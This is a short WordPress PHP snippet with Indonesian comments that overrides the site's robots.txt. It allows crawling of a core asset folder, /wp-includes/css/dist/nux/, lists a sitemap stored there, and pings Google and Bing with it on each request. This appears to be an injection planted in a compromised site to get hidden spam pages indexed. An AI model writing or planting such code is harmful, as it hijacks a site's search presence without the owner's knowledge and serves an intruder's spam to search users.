add_action('init', function() {
if (
isset($_SERVER['REQUEST_URI']) &&
preg_match('#^/robots\.txt$#i', $_SERVER['REQUEST_URI'])
) {
header('Content-Type: text/plain; charset=utf-8');
// Aturan dasar
echo "User-agent: *\n";
echo "Disallow: /wp-admin/\n";
echo "Allow: /wp-admin/admin-ajax.php\n";
echo "Allow: /wp-includes/css/dist/nux/\n";
// Daftar sitemap (bisa tambah sitemap lain di sini)
$sitemaps = [
home_url('/wp-includes/css/dist/nux/sitemap-1.xml'),
];
foreach ($sitemaps as $sitemap) {
echo "Sitemap: {$sitemap}\n";
}
// Auto ping search engine agar sitemap cepat diindeks
foreach ($sitemaps as $sitemap) {
// Google ping URL
$google_ping = 'http://www.google.com/ping?sitemap=' . urlencode($sitemap);
// Bing ping URL
$bing_ping = 'http://www.bing.com/ping?sitemap=' . urlencode($sitemap);
// Kirim request ping async (tanpa delay di page load)
wp_remote_get($google_ping, ['timeout' => 1]);
wp_remote_get($bing_ping, ['timeout' => 1]);
}
exit;
}
});